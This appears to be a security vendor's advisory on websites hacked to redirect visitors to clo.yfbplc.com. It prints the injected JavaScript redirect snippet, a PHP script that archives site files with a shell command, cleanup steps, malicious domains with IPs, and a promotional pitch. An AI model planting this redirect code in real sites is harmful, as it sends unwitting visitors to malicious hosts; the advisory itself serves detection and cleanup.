If your website is redirected to clo.yfbplc.com, it is most likely compromised, and the Javascript files may be injected with the following code.
(jQuery);var redirectTo = "https://clo.yfbplc.com/";
var a = document.createElement('a');
a.href = redirectTo;
a.setAttribute('rel', 'noreferrer');
document.body.appendChild(a);
a.click();
To prevent any data loss, you can ask for a full website backup. Also, to prevent reputation damage, it’s recommended to disable public access to your website.
To review the current file status, pack all the PHP and JS files running the following script in the website’s root folder.
<?php
ini_set('max_execution_time', 1000); //300 seconds = 5 minutes
ini_set('memory_limit', '512M');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
ini_set('max_input_vars', 15000);
error_reporting(E_ALL);
set_time_limit(600);
exec("find . -name '*.php' -o -name '*.js' | tar -cvzf php-js.tar.gz -T -");
?>
How to fix the clo.yfbplc.com redirects
- Perform a full backup, including website files and database.
- Separate each infected website(s) and disable public access.
- Review the core files, plugins, and theme folders.
- Clear all the infected files—manually or using a tool.
- Review the administrator list.
- Change all the passwords.
- Review blacklist status: https://www.virustotal.com/gui/
Note: all the above steps are included with our care plan.
Malicious domains
clo.yfbplc.com created June 25, 2024 points to 91.204.209.21
effectiveratecpm.com, created February 7th, 2025 points to 192.243.59.13
Our best-selling security plan covers all the above steps for a single CMS or website, including migration, site updates, and security maintenance for one year making the migration process convenient and stress-free.
